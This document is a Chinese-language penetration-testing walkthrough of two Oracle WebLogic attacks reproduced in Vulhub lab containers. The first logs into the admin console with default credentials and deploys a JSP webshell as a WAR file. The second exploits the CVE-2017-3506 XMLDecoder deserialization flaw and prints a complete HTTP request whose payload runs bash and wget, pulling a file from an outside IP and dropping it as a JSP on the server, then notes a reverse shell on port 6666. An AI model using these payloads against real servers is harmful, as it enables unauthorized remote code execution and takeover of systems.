后台弱⼝令GetShell
漏洞描述
通过弱⼝令进⼊后台界⾯ , 上传部署war包 , getshell
影响范围
全版本(前提后台存在弱⼝令)
环境搭建
cd vulhub/weblogic/weak_password
docker-compose up -d
漏洞复现
默认账号密码:weblogic/Oracle@123
(单个账号错误密码5次之后就会⾃动锁定)
123.57.211.129 :7001/console/login/LoginForm.jsp
1.登录后台后,点击部署,点击安装,点击上传⽂件。
2.上传war包,jsp⽊⻢压缩成zip,修改后缀为war,上传
然后⼀直下⼀步
3.访问部署好的war
123.57.211.129 :7001/shell/shell.jsp
哥斯拉连接测试
完成
CVE-2017-3506------XMLDecoder反序列化漏洞
漏洞描述
Weblogic的WLS Security组件对外提供了webserver服务,其中使⽤了XMLDecoder来解析⽤户输⼊的 XML数据,在解析过程中出现反序列化漏洞,可导致任意命令执⾏。
影响版本
受影响版本:WebLogic 10.3.6.0, 12.1.3.0, 12.2.1.1, 12.2.1.2。
环境搭建
cd vulhub-master/weblogic/weak_password
docker-compose up -d
漏洞复现
访问以下⽬录中的⼀种,有回显如下图可以判断wls-wsat组件存在
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
1.验证是否存在wls-wsat组件
http://123.57.211.129:7001/wls-wsat/CoordinatorPortType
存在
2.在当前⻚⾯抓包之后,添加下⾯请求包,反弹shell。
POST /_async/AsyncResponseService HTTP/1.1
Host: 123.57.211.129:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 839
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://114.132.92.17/2.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/678.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
发送到重放器重复
在本机监听自己的6666端口,反弹成功